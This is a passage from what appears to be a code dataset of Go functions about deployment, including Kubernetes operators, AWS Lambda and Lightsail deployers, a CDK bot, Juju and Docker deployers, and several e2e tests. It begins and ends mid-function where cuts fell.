make(map[string]string)\n\n\td.CreateLabels()\n\tcontainerPorts := d.Application.ContainerPorts\n\tif d.Image.Secret != \"\" {\n\t\tsecret := createLocalObjectReference(d.Image.Secret)\n\t\timagePullSecrets = append(imagePullSecrets, secret)\n\t}\n\n\tq := corev1.PersistentVolumeClaimSpec{}\n\tif d.Application.PersistenceEnabled {\n\t\tif !siddhiv1alpha2.EqualsPVCSpec(&d.SiddhiProcess.Spec.PVC, &q) {\n\t\t\tpvcName := d.Application.Name + PVCExtension\n\t\t\terr = d.KubeClient.CreateOrUpdatePVC(\n\t\t\t\tpvcName,\n\t\t\t\td.SiddhiProcess.Namespace,\n\t\t\t\td.SiddhiProcess.Spec.PVC,\n\t\t\t\td.SiddhiProcess,\n\t\t\t)\n\t\t\tif err != nil {\n\t\t\t\treturn operationResult, err\n\t\t\t}\n\t\t\tmountPath, err := populateMountPath(d.SiddhiProcess, d.Image.Home, d.Image.Profile)\n\t\t\tif err != nil {\n\t\t\t\treturn operationResult, err\n\t\t\t}\n\t\t\tvolume, volumeMount := createPVCVolumes(pvcName, mountPath)\n\t\t\tvolumes = append(volumes, volume)\n\t\t\tvolumeMounts = append(volumeMounts, volumeMount)\n\t\t}\n\t\tdeployYAMLCMName := d.Application.Name + DepCMExtension\n\t\tsiddhiConfig := StatePersistenceConf\n\t\tif d.SiddhiProcess.Spec.SiddhiConfig != \"\" {\n\t\t\tsiddhiConfig = d.SiddhiProcess.Spec.SiddhiConfig\n\t\t}\n\t\tdata := map[string]string{\n\t\t\tdeployYAMLCMName: siddhiConfig,\n\t\t}\n\t\terr = d.KubeClient.CreateOrUpdateCM(deployYAMLCMName, d.SiddhiProcess.Namespace, data, d.SiddhiProcess)\n\t\tif err != nil {\n\t\t\treturn operationResult, err\n\t\t}\n\t\tmountPath := d.Image.Home + DepConfMountPath\n\t\tvolume, volumeMount := createCMVolumes(deployYAMLCMName, mountPath)\n\t\tvolumes = append(volumes, volume)\n\t\tvolumeMounts = append(volumeMounts, volumeMount)\n\t\tconfigParameter = DepConfParameter + mountPath + deployYAMLCMName\n\t} else if d.SiddhiProcess.Spec.SiddhiConfig != \"\" {\n\t\tdeployYAMLCMName := d.SiddhiProcess.Name + DepCMExtension\n\t\tdata := map[string]string{\n\t\t\tdeployYAMLCMName: d.SiddhiProcess.Spec.SiddhiConfig,\n\t\t}\n\t\terr = d.KubeClient.CreateOrUpdateCM(deployYAMLCMName, d.SiddhiProcess.Namespace, data, d.SiddhiProcess)\n\t\tif err != nil {\n\t\t\treturn operationResult, err\n\t\t}\n\t\tmountPath := d.Image.Home + DepConfMountPath\n\t\tvolume, volumeMount := createCMVolumes(deployYAMLCMName, mountPath)\n\t\tvolumes = append(volumes, volume)\n\t\tvolumeMounts = append(volumeMounts, volumeMount)\n\t\tconfigParameter = DepConfParameter + mountPath + deployYAMLCMName\n\t}\n\n\tmaxUnavailable := intstr.IntOrString{\n\t\tType: artifact.Int,\n\t\tIntVal: MaxUnavailable,\n\t}\n\tmaxSurge := intstr.IntOrString{\n\t\tType: artifact.Int,\n\t\tIntVal: MaxSurge,\n\t}\n\trollingUpdate := appsv1.RollingUpdateDeployment{\n\t\tMaxUnavailable: &maxUnavailable,\n\t\tMaxSurge: &maxSurge,\n\t}\n\tdepStrategy = appsv1.DeploymentStrategy{\n\t\tType: appsv1.RollingUpdateDeploymentStrategyType,\n\t\tRollingUpdate: &rollingUpdate,\n\t}\n\n\tif len(d.Application.Apps) > 0 {\n\t\tappsCMName := d.Application.Name + strconv.Itoa(int(d.SiddhiProcess.Status.CurrentVersion))\n\t\tfor k, v := range d.Application.Apps {\n\t\t\tkey := k + SiddhiExtension\n\t\t\tappsMap[key] = v\n\t\t}\n\t\terr = d.KubeClient.CreateOrUpdateCM(appsCMName, d.SiddhiProcess.Namespace, appsMap, d.SiddhiProcess)\n\t\tif err != nil {\n\t\t\treturn operationResult, err\n\t\t}\n\t\tappsPath := d.Image.Home + SiddhiFilesDir\n\t\tvolume, volumeMount := createCMVolumes(appsCMName, appsPath)\n\t\tvolumes = append(volumes, volume)\n\t\tvolumeMounts = append(volumeMounts, volumeMount)\n\t\tappParameter = AppConfParameter + appsPath + \" \"\n\t} else {\n\t\tappParameter = ParserParameter\n\t}\n\n\tuserID := int64(802)\n\toperationResult, _ = d.KubeClient.CreateOrUpdateDeployment(\n\t\td.Application.Name,\n\t\td.SiddhiProcess.Namespace,\n\t\td.Application.Replicas,\n\t\td.Labels,\n\t\td.Image.Name,\n\t\tContainerName,\n\t\t[]string{Shell},\n\t\t[]string{\n\t\t\tfilepath.Join(d.Image.Home, SiddhiBin, (d.Image.Profile + \".sh\")),\n\t\t\tappParameter,\n\t\t\tconfigParameter,\n\t\t},\n\t\tcontainerPorts,\n\t\tvolumeMounts,\n\t\td.SiddhiProcess.Spec.Container.Env,\n\t\tcorev1.SecurityContext{RunAsUser: &userID},\n\t\tcorev1.PullAlways,\n\t\timagePullSecrets,\n\t\tvolumes,\n\t\tdepStrategy,\n\t\td.SiddhiProcess,\n\t)\n\treturn operationResult, err\n}", "func Deploy(cmd *cobra.Command, args []string) {\n\tappPath := \"\"\n\n\t// This helps break up many of the functions/steps for deployment\n\tdeployer := deploy.NewDeployer(&cfg, getAWSSession())\n\n\t// It is possible to pass a specific zip file from the config instead of building a new one (why would one? who knows, but I liked the pattern of using cfg)\n\tif cfg.Lambda.SourceZip == \"\" {\n\t\t// Build the Go app in the current directory (for AWS architecture).\n\t\tappPath, err := build(&cfg.App.BuildEnvVars)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"There was a problem building the Go app for the Lambda function.\")\n\t\t\tfmt.Println(err.Error())\n\t\t\tos.Exit(-1)\n\t\t}\n\t\t// Ensure it's executable.\n\t\t// err = os.Chmod(appPath, os.FileMode(int(0777)))\n\t\terr = os.Chmod(appPath, os.ModePerm)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Warning, executable permissions could not be set on Go binary. It may fail to run in AWS.\")\n\t\t\tfmt.Println(err.Error())\n\t\t}\n\n\t\t// Adjust timestamp?\n\t\t// err = os.Chtimes(appPath, time.Now(), time.Now())\n\t\t// if err != nil {\n\t\t// \tfmt.Println(\"Warning, executable permissions could not be set on Go binary. It may fail to run in AWS.\")\n\t\t// \tfmt.Println(err.Error())\n\t\t// }\n\n\t\tcfg.Lambda.SourceZip = compress(cfg.App.BuildFileName)\n\t\t// If something went wrong, exit\n\t\tif cfg.Lambda.SourceZip == \"\" {\n\t\t\tfmt.Println(\"There was a problem building the Lambda function zip file.\")\n\t\t\tos.Exit(-1)\n\t\t}\n\t}\n\n\t// Get the Lambda function zip file's bytes\n\tvar zipBytes []byte\n\tzipBytes, err := ioutil.ReadFile(cfg.Lambda.SourceZip)\n\tif err != nil {\n\t\tfmt.Println(\"Could not read from Lambda function zip file.\")\n\t\tfmt.Println(err)\n\t\tos.Exit(-1)\n\t}\n\n\t// If no role, create an aegis role for executing Lambda functions.\n\t// This will actually be rather permissive. Use a custom role to be more restrictive.\n\t// The aegis framework needs the ability to invoke other Lambdas, work with XRay, S3, and more.\n\t// So it's going to be a few managed policies that make sense. Use a custom role if needed.\n\t// When roles are passed to use, they are not modified.\n\tif cfg.Lambda.Role == \"\" {\n\t\tcfg.Lambda.Role = createOrUpdateAegisRole()\n\n\t\t// Have to delay a few seconds to give AWS some time to set up the role.\n\t\t// Assigning it to the Lambda too soon could result in an error:\n\t\t// InvalidParameterValueException: The role defined for the function cannot be assumed by Lambda.\n\t\t// Apparently it needs a few seconds ¯\\_(ツ)_/¯\n\t\ttime.Sleep(5 * time.Second)\n\t}\n\n\t// Create (or update) the function\n\tlambdaArn := deployer.CreateFunction(zipBytes)\n\n\t// Create the API Gateway API with proxy resource.\n\t// This only needs to be done once as it shouldn't change and additional resources can't be configured.\n\t// So it will check first for the same name before creating. If a match is found, that API ID will be returned.\n\t//\n\t// TODO: Maybe prompt the user to overwrite? Because if the name matches, it will go on to deploy stages on\n\t// that API...Which may be bad. I wish API names had to be unique. That would be a lot better.\n\t// Think on what to do here because it could create a bad experience...It's also nice to have one \"deploy\" command\n\t// that also deploys stages and picks up new stages as the config changes. Could always break out deploy stage\n\t// into a separate command...Again, all comes down to experience and expectations. Warnings might be enough...\n\t// But a prompt on each \"deploy\" command after the first? Maybe too annoying. Could pass an \"--ignore\" flag or force\n\t// to solve those annoyances though.\n\tapiID := deployer.ImportAPI(*lambdaArn)\n\t// TODO: Allow updates...this isn't quite working yet\n\t// The DeployAPI() function will take care of some updates as well (things like stage variables, etc.).\n\t// deployer.UpdateAPI(apiID, *lambdaArn)\n\n\t// fmt.Printf(\"API ID: %s\\n\", apiID)\n\n\t// Ensure the API can access the Lambda\n\tdeployer.AddAPIPermission(apiID, *lambdaArn)\n\n\t// Ensure the API has it's binary media types set (Swagger import apparently does not set them)\n\tdeployer.AddBinaryMediaTypes(apiID)\n\n\t// Deploy for each stage (defaults to just one \"prod\" stage).\n\t// However, this can be changed over time (cache settings, stage variables, etc.) and is relatively harmless to re-deploy\n\t// on each run anyway. Plus, new stages can be added at any time.\n\tfor key := range cfg.API.Stages {\n\t\tinvokeURL := deployer.DeployAPI(apiID, cfg.API.Stages[key])\n\t\t// fmt.Printf(\"%s API Invoke URL: %s\\n\", key, invokeURL)\n\t\tfmt.Printf(\"%v %v %v\\n\", color.GreenString(key), \"API URL:\", color.GreenString(invokeURL))\n\t}\n\n\t// Tasks (CloudWatch event rules to trigger Lambda)\n\tfmt.Printf(\"\\n\")\n\tdeployer.AddTasks()\n\n\t// Bucket notifications (to trigger Lambda)\n\tfmt.Printf(\"\\n\")\n\tdeployer.AddS3BucketNotifications()\n\n\t// SES Recipient Rules (to trigger Lambda)\n\tif cfg.SESRules != nil && len(cfg.SESRules) > 0 {\n\t\tfmt.Printf(\"\\n\")\n\t\tdeployer.AddSESPermission(lambdaArn)\n\t\tdeployer.AddSESRules()\n\t}\n\n\t// Clean up\n\tif !cfg.App.KeepBuildFiles {\n\t\tos.Remove(cfg.Lambda.SourceZip)\n\t\t// Remember the Go app may not be built if the source zip file was passed via configuration/CLI flag.\n\t\t// However, if it is build then it's for AWS architecture and likely isn't needed by the user. Clean it up.\n\t\t// Note: It should be called `aegis_app` to help avoid conflicts.\n\t\tif _, err := os.Stat(appPath); err == nil {\n\t\t\tos.Remove(appPath)\n\t\t}\n\t}\n\n}", "func HandleDeploy(w http.ResponseWriter, r *http.Request) {\r\n\r\n\tif r.Method == \"POST\" {\r\n\r\n\t\tvar err error\r\n\r\n\t\turlPart := strings.Split(r.URL.Path, \"/\")\r\n\r\n\t\tname := urlPart[2]\r\n\r\n\t\tif name != \"\" {\r\n\r\n\t\t\t//basis is optionally passed as qs param\r\n\t\t\tbasis := r.URL.Query().Get(\"basis\")\r\n\r\n\t\t\tdefer r.Body.Close()\r\n\r\n\t\t\tbody, _ := ioutil.ReadAll(r.Body)\r\n\r\n\t\t\tbodyString := string(body)\r\n\r\n\t\t\tvm := otto.New()\r\n\r\n\t\t\t//check it compiles\r\n\t\t\tif script, err := vm.Compile(name, bodyString); err == nil {\r\n\r\n\t\t\t\tif hash, err := storage.Set(name, script, basis); err == nil {\r\n\t\t\t\t\tfmt.Printf(\"Deployed Script %s (%s)\\n\", name, hash)\r\n\t\t\t\t\tw.Write([]byte(hash))\r\n\t\t\t\t\treturn\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tw.Write([]byte(err.Error()))\r\n\t\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\r\n\r\n\t\t\treturn\r\n\t\t}\r\n\t}\r\n\r\n\thttp.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\r\n\r\n}", "func (s *TaffyDeploySuite) TestDeploys(t *c.C) {\n\tassertMeta := func(m map[string]string, k string, checker c.Checker, args ...interface{}) {\n\t\tv, ok := m[k]\n\t\tt.Assert(ok, c.Equals, true)\n\t\tt.Assert(v, checker, args...)\n\t}\n\n\tclient := s.controllerClient(t)\n\n\tgithub := map[string]string{\n\t\t\"user\": \"flynn-examples\",\n\t\t\"repo\": \"nodejs-flynn-example\",\n\t\t\"branch\": \"master\",\n\t\t\"rev\": \"5e177fec38fbde7d0a03e9e8dccf8757c68caa11\",\n\t\t\"clone_url\": \"https://github.com/flynn-examples/nodejs-flynn-example.git\",\n\t}\n\n\t// initial deploy\n\n\tapp := &ct.App{}\n\tt.Assert(client.CreateApp(app), c.IsNil)\n\tdebugf(t, \"created app %s (%s)\", app.Name, app.ID)\n\n\tenv := map[string]string{\n\t\t\"SOMEVAR\": \"SOMEVAL\",\n\t}\n\tmeta := map[string]string{\n\t\t\"github\": \"true\",\n\t\t\"github_user\": github[\"user\"],\n\t\t\"github_repo\": github[\"repo\"],\n\t}\n\ts.deployWithTaffy(t, app, env, meta, github)\n\n\trelease, err := client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\tt.Assert(release, c.NotNil)\n\tt.Assert(release.Meta, c.NotNil)\n\tassertMeta(release.Meta, \"git\", c.Equals, \"true\")\n\tassertMeta(release.Meta, \"clone_url\", c.Equals, github[\"clone_url\"])\n\tassertMeta(release.Meta, \"branch\", c.Equals, github[\"branch\"])\n\tassertMeta(release.Meta, \"rev\", c.Equals, github[\"rev\"])\n\tassertMeta(release.Meta, \"taffy_job\", c.Not(c.Equals), \"\")\n\tassertMeta(release.Meta, \"github\", c.Equals, \"true\")\n\tassertMeta(release.Meta, \"github_user\", c.Equals, github[\"user\"])\n\tassertMeta(release.Meta, \"github_repo\", c.Equals, github[\"repo\"])\n\tt.Assert(release.Env, c.NotNil)\n\tassertMeta(release.Env, \"SOMEVAR\", c.Equals, \"SOMEVAL\")\n\n\t// second deploy\n\n\tgithub[\"rev\"] = \"4231f8871da2b9fd73a5402753df3dfc5609d7b7\"\n\n\trelease, err = client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\n\ts.deployWithTaffy(t, app, env, meta, github)\n\n\tnewRelease, err := client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\tt.Assert(newRelease.ID, c.Not(c.Equals), release.ID)\n\tt.Assert(env, c.DeepEquals, newRelease.Env)\n\tt.Assert(release.Processes, c.DeepEquals, newRelease.Processes)\n\tt.Assert(newRelease, c.NotNil)\n\tt.Assert(newRelease.Meta, c.NotNil)\n\tassertMeta(newRelease.Meta, \"git\", c.Equals, \"true\")\n\tassertMeta(newRelease.Meta, \"clone_url\", c.Equals, github[\"clone_url\"])\n\tassertMeta(newRelease.Meta, \"branch\", c.Equals, github[\"branch\"])\n\tassertMeta(newRelease.Meta, \"rev\", c.Equals, github[\"rev\"])\n\tassertMeta(newRelease.Meta, \"taffy_job\", c.Not(c.Equals), \"\")\n\tassertMeta(newRelease.Meta, \"github\", c.Equals, \"true\")\n\tassertMeta(newRelease.Meta, \"github_user\", c.Equals, github[\"user\"])\n\tassertMeta(newRelease.Meta, \"github_repo\", c.Equals, github[\"repo\"])\n}", "func (m *MockTenantServiceDao) UpdateDeployVersion(serviceID, deployversion string) error {\n\tret := m.ctrl.Call(m, \"UpdateDeployVersion\", serviceID, deployversion)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func inspectDeployment(\n\tctx context.Context,\n\tt *testing.T,\n\tf *framework.Framework,\n\tnamespacedName types.NamespacedName,\n\tsbrName string,\n) {\n\terr := retry(10, 5*time.Second, func() error {\n\t\tt.Logf(\"Inspecting deployment '%s'\", namespacedName)\n\t\t_, err := assertDeploymentEnvFrom(ctx, f, namespacedName, sbrName)\n\t\tif err != nil {\n\t\t\tt.Logf(\"Error on inspecting deployment: '%s'\", err)\n\t\t}\n\t\treturn err\n\t})\n\tt.Logf(\"Deployment: Result after attempts, error: '%#v'\", err)\n\trequire.NoError(t, err)\n}", "func Deploy(w http.ResponseWriter, r *http.Request) {\n\t// this will hold our decoded request json\n var requestParams deployStruct\n\t// let's decode request body\n decoder := json.NewDecoder(r.Body)\n err := decoder.Decode(&requestParams)\n\t// is it a bad request?\n if err != nil {\n log.Print(\"ERROR: failed to decode request JSON\")\n\t\thttp.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n }\n\n\t// let's forward request to docker hosts\n\tfmt.Fprintln(w, DeployAndRunContainer(&requestParams))\n}", "func GuestDeploy(endpoint string, userid string, body GuestDeployBody) (int, []byte) {\n\n\tbuffer := getEndpointwithGuests(endpoint)\n\tbuffer.WriteString(\"/\")\n\tbuffer.WriteString(userid)\n\tbuffer.WriteString(\"/\")\n\tbuffer.WriteString(\"action\")\n\n\tbody.Action = \"deploy\"\n\tb := buildGuestDeployRequest(body)\n\tstatus, data := hq.Post(buffer.String(), b)\n\n\treturn status, data\n}", "func registerDeployAPIs(ws *restful.WebService) {\n\tws.Route(ws.POST(\"/{user_id}/deploys\").\n\t\tTo(createDeploy).\n\t\tDoc(\"create a deploy for given user of a specific service\").\n\t\tParam(ws.PathParameter(\"user_id\", \"identifier of the user\").DataType(\"string\")).\n\t\tReads(api.Deploy{}).\n\t\tWrites(api.DeployCreationResponse{}))\n\n\t// Filter the unauthorized operation.\n\tws.Route(ws.GET(\"/{user_id}/deploys/{deploy_id}\").\n\t\tTo(getDeploy).\n\t\tDoc(\"find a deploy by id for given user\").\n\t\tParam(ws.PathParameter(\"user_id\", \"identifier of the user\").DataType(\"string\")).\n\t\tParam(ws.PathParameter(\"deploy_id\", \"identifier of the deploy\").DataType(\"string\")).\n\t\tWrites(api.DeployGetResponse{}))\n\n\t// Filter the unauthorized operation.\n\tws.Route(ws.GET(\"/{user_id}/deploys\").\n\t\tTo(listDeploy).\n\t\tDoc(\"find deploys by id for given user\").\n\t\tParam(ws.PathParameter(\"user_id\", \"identifier of the user\").DataType(\"string\")).\n\t\tWrites(api.DeployListResponse{}))\n\n\t// Filter the unauthorized operation.\n\tws.Route(ws.PUT(\"/{user_id}/deploys/{deploy_id}\").\n\t\tTo(setDeploy).\n\t\tDoc(\"set a deploy by id for given user\").\n\t\tParam(ws.PathParameter(\"user_id\", \"identifier of the user\").DataType(\"string\")).\n\t\tParam(ws.PathParameter(\"deploy_id\", \"identifier of the deploy\").DataType(\"string\")).\n\t\tWrites(api.DeploySetResponse{}))\n\n\t// Filter the unauthorized operation.\n\tws.Route(ws.DELETE(\"/{user_id}/deploys/{deploy_id}\").\n\t\tTo(delDeploy).\n\t\tDoc(\"delete a deploy by id for given user\").\n\t\tParam(ws.PathParameter(\"user_id\", \"identifier of the user\").DataType(\"string\")).\n\t\tParam(ws.PathParameter(\"deploy_id\", \"identifier of the deploy\").DataType(\"string\")).\n\t\tWrites(api.DeployDelResponse{}))\n}", "func (s *SailTrim) Deploy(ctx context.Context) error {\n\tsv, err := s.conf.loadService()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to load service config\")\n\t}\n\tif _, err = s.svc.GetContainerServicesWithContext(ctx, &lightsail.GetContainerServicesInput{\n\t\tServiceName: sv.ContainerServiceName,\n\t}); err != nil {\n\t\treturn s.create(ctx, *sv.ContainerServiceName)\n\t}\n\n\tdp, err := s.conf.loadDeployment()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to load deployment config\")\n\t}\n\tif out, err := s.svc.CreateContainerServiceDeploymentWithContext(ctx, &lightsail.CreateContainerServiceDeploymentInput{\n\t\tServiceName: sv.ContainerServiceName,\n\t\tContainers: dp.Containers,\n\t\tPublicEndpoint: &lightsail.EndpointRequest{\n\t\t\tContainerName: dp.PublicEndpoint.ContainerName,\n\t\t\tContainerPort: dp.PublicEndpoint.ContainerPort,\n\t\t\tHealthCheck: dp.PublicEndpoint.HealthCheck,\n\t\t},\n\t}); err != nil {\n\t\treturn errors.Wrap(err, \"failed to create deployment\")\n\t} else {\n\t\tlog.Printf(\"[info] new deployment is created\")\n\t\tlog.Printf(\"[debug] %s\", MarshalJSONString(out))\n\t}\n\treturn nil\n}", "func verifyServeHostnameServiceUp(c *client.Client, ns, host string, expectedPods []string, serviceIP string, servicePort int) error {\n\texecPodName := createExecPodOrFail(c, ns, \"execpod-\")\n\tdefer func() {\n\t\tdeletePodOrFail(c, ns, execPodName)\n\t}()\n\n\t// Loop a bunch of times - the proxy is randomized, so we want a good\n\t// chance of hitting each backend at least once.\n\tbuildCommand := func(wget string) string {\n\t\treturn fmt.Sprintf(\"for i in $(seq 1 %d); do %s http://%s:%d 2>&1 || true; echo; done\",\n\t\t\t50*len(expectedPods), wget, serviceIP, servicePort)\n\t}\n\tcommands := []func() string{\n\t\t// verify service from node\n\t\tfunc() string {\n\t\t\tcmd := \"set -e; \" + buildCommand(\"wget -q --timeout=0.2 --tries=1 -O -\")\n\t\t\tframework.Logf(\"Executing cmd %q on host %v\", cmd, host)\n\t\t\tresult, err := framework.SSH(cmd, host, framework.TestContext.Provider)\n\t\t\tif err != nil || result.Code != 0 {\n\t\t\t\tframework.LogSSHResult(result)\n\t\t\t\tframework.Logf(\"error while SSH-ing to node: %v\", err)\n\t\t\t}\n\t\t\treturn result.Stdout\n\t\t},\n\t\t// verify service from pod\n\t\tfunc() string {\n\t\t\tcmd := buildCommand(\"wget -q -T 1 -O -\")\n\t\t\tframework.Logf(\"Executing cmd %q in pod %v/%v\", cmd, ns, execPodName)\n\t\t\t// TODO: Use exec-over-http via the netexec pod instead of kubectl exec.\n\t\t\toutput, err := framework.RunHostCmd(ns, execPodName, cmd)\n\t\t\tif err != nil {\n\t\t\t\tframework.Logf(\"error while kubectl execing %q in pod %v/%v: %v\\nOutput: %v\", cmd, ns, execPodName, err, output)\n\t\t\t}\n\t\t\treturn output\n\t\t},\n\t}\n\n\texpectedEndpoints := sets.NewString(expectedPods...)\n\tBy(fmt.Sprintf(\"verifying service has %d reachable backends\", len(expectedPods)))\n\tfor _, cmdFunc := range commands {\n\t\tpassed := false\n\t\tgotEndpoints := sets.NewString()\n\n\t\t// Retry cmdFunc for a while\n\t\tfor start := time.Now(); time.Since(start) < kubeProxyLagTimeout; time.Sleep(5 * time.Second) {\n\t\t\tfor _, endpoint := range strings.Split(cmdFunc(), \"\\n\") {\n\t\t\t\ttrimmedEp := strings.TrimSpace(endpoint)\n\t\t\t\tif trimmedEp != \"\" {\n\t\t\t\t\tgotEndpoints.Insert(trimmedEp)\n\t\t\t\t}\n\t\t\t}\n\t\t\t// TODO: simply checking that the retrieved endpoints is a superset\n\t\t\t// of the expected allows us to ignore intermitten network flakes that\n\t\t\t// result in output like \"wget timed out\", but these should be rare\n\t\t\t// and we need a better way to track how often it occurs.\n\t\t\tif gotEndpoints.IsSuperset(expectedEndpoints) {\n\t\t\t\tif !gotEndpoints.Equal(expectedEndpoints) {\n\t\t\t\t\tframework.Logf(\"Ignoring unexpected output wgetting endpoints of service %s: %v\", serviceIP, gotEndpoints.Difference(expectedEndpoints))\n\t\t\t\t}\n\t\t\t\tpassed = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tframework.Logf(\"Unable to reach the following endpoints of service %s: %v\", serviceIP, expectedEndpoints.Difference(gotEndpoints))\n\t\t}\n\t\tif !passed {\n\t\t\t// Sort the lists so they're easier to visually diff.\n\t\t\texp := expectedEndpoints.List()\n\t\t\tgot := gotEndpoints.List()\n\t\t\tsort.StringSlice(exp).Sort()\n\t\t\tsort.StringSlice(got).Sort()\n\t\t\treturn fmt.Errorf(\"service verification failed for: %s\\nexpected %v\\nreceived %v\", serviceIP, exp, got)\n\t\t}\n\t}\n\treturn nil\n}", "func (r *Runner) Deploy(\n\tctx context.Context,\n\tuserName string,\n\tstacks []string,\n) error {\n\tif has, _ := r.hasOutdatedDiffLabel(ctx); has {\n\t\tif err := r.platform.CreateComment(ctx, \"Differences are outdated. Run /diff instead.\"); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn r.Diff(ctx)\n\t}\n\treturn r.updateStatus(ctx, func() (*resultState, error) {\n\t\tcdkPath, cfg, target, pr, err := r.setup(ctx, true)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif target == nil {\n\t\t\treturn newResultState(constant.StateMergeReady, \"No targets are matched\"), nil\n\t\t}\n\t\tif !cfg.IsUserAllowedDeploy(userName) {\n\t\t\treturn newResultState(constant.StateNotMergeReady, fmt.Sprintf(\"user %s is not allowed to deploy\", userName)), nil\n\t\t}\n\t\topenPRs, err := r.platform.GetOpenPullRequests(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif number, exists := existsOtherDeployedSameBasePRs(openPRs, pr); exists {\n\t\t\treturn newResultState(\n\t\t\t\tconstant.StateNotMergeReady,\n\t\t\t\tfmt.Sprintf(\"deployed PR #%d is still opened. First /deploy and merge it, or /rollback.\", number),\n\t\t\t), nil\n\t\t}\n\t\tif len(stacks) == 0 {\n\t\t\tstacks, err = r.cdk.List(cdkPath, target.Contexts)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tvar (\n\t\t\terrMessage string\n\t\t\thasDiff bool\n\t\t)\n\t\tresult, deployErr := r.cdk.Deploy(cdkPath, stacks, target.Contexts)\n\t\tif deployErr != nil {\n\t\t\terrMessage = deployErr.Error()\n\t\t} else {\n\t\t\t_, hasDiff, err = r.cdk.Diff(cdkPath, nil, target.Contexts)\n\t\t\tif err != nil {\n\t\t\t\terrMessage = err.Error()\n\t\t\t}\n\t\t}\n\t\tif err := r.platform.AddLabel(ctx, constant.LabelDeployed); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif err := r.platform.CreateComment(\n\t\t\tctx,\n\t\t\tfmt.Sprintf(\"### cdk deploy\\n```\\n%s\\n%s\\n```\", result, errMessage),\n\t\t); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif errMessage != \"\" {\n\t\t\treturn newResultState(constant.StateNotMergeReady, \"Fix codes\"), nil\n\t\t}\n\t\tif !hasDiff {\n\t\t\tif err := r.platform.MergePullRequest(ctx, \"automatically merged by cdkbot\"); err != nil {\n\t\t\t\tif err := r.platform.CreateComment(\n\t\t\t\t\tctx,\n\t\t\t\t\tfmt.Sprintf(\"cdkbot tried to merge but failed: %s\", err.Error()),\n\t\t\t\t); err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor _, openPR := range openPRs {\n\t\t\t\t\tif openPR.Number == pr.Number || openPR.BaseBranch != pr.BaseBranch {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif err := r.platform.AddLabelToOtherPR(ctx, constant.LabelOutdatedDiff, openPR.Number); err != nil {\n\t\t\t\t\t\treturn nil, err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn newResultState(constant.StateMergeReady, \"No diffs. Let's merge!\"), nil\n\t\t}\n\t\treturn newResultState(constant.StateNotMergeReady, \"Go ahead with deploy.\"), nil\n\t})\n}", "func (jj *Juju) Deploy(user, service string) (*simplejson.Json, error) {\n args := []string{\"deploy\", \"--show-log\"}\n id := jj.id(user, service)\n report := JSON(fmt.Sprintf(`{\"time\": \"%s\"}`, time.Now()))\n log.Infof(\"deploy juju service: %s\\n\", id)\n\n // Get charms location\n storePath, storePrefix, err := jj.Charmstore(service)\n if err != nil { return EmptyJSON(), err }\n if storePrefix == \"local\" {\n args = append(args, \"--repository\")\n args = append(args, storePath)\n }\n\n // Add final service syntax to deploy\n args = append(args, fmt.Sprintf(\"%s:%s/%s\", storePrefix, defaultSeries, service))\n args = append(args, id)\n\n // Read and dump user configuration\n confPath, err := jj.fetchConfig(user, service)\n if err != nil { return EmptyJSON(), err }\n if confPath != \"\" {\n args = append(args, \"--config\") \n args = append(args, confPath) \n }\n\n // Charm deployment\n log.Infof(\"enqueue process\")\n client, err := goresque.Dial(redisURL)\n if err != nil { return EmptyJSON(), err }\n client.Enqueue(workerClass, \"fork\", jj.Path, args)\n\n report.Set(\"deployed\", id)\n report.Set(\"provider\", \"juju\")\n report.Set(\"arguments\", args)\n report.Set(\"series\", defaultSeries)\n return report, nil\n}", "func ApplicationDeploy(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\t// application := vars[\"application\"]\n\t// appEnv := vars[\"environment\"]\n\tcluster, ok := vars[\"cluster\"]\n\tif !ok {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tstr := `{\"status\": \"error\", \"description\": \"Please specify a target cluster\"}`\n\t\tw.Write([]byte(str))\n\t\tcommon.LogWarning.Println(\"Cluster was not specified in request\")\n\t} else {\n\t\tcommon.LogInfo.Println(\"Setting cluster \", cluster)\n\n\t\t// convert vars to something compatible with render_template\n\t\tm := make(map[string]interface{})\n\t\tfor k, v := range vars {\n\t\t\tm[k] = v\n\t\t}\n\n\t\tactionsOutput, err := services.RunActions(\"/v1/deploy\", m)\n\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\toutputJSON, _ := json.MarshalIndent(actionsOutput, \"\", \" \")\n\t\tw.Write(outputJSON)\n\n\t\tif err != nil {\n\t\t\tw.Header().Set(\"Content-Type\", \"application/text\")\n\t\t\tw.Write([]byte(err.Error()))\n\t\t}\n\t}\n}", "func (d *Docker) Deploy(ctx context.Context, fn types.Func, name string, ports []types.PortBinding) error {\n\t// if DOCKER_REMOTE_HOST and DOCKER_REMOTE_PORT given\n\t// it means user is going to deploy service to remote host\n\thost := os.Getenv(\"DOCKER_REMOTE_HOST\")\n\tport := os.Getenv(\"DOCKER_REMOTE_PORT\")\n\tif port != \"\" && host != \"\" {\n\t\thttpClient, err := dockerHTTP.Create(host, port)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tproject, err := packer.Pack(name, 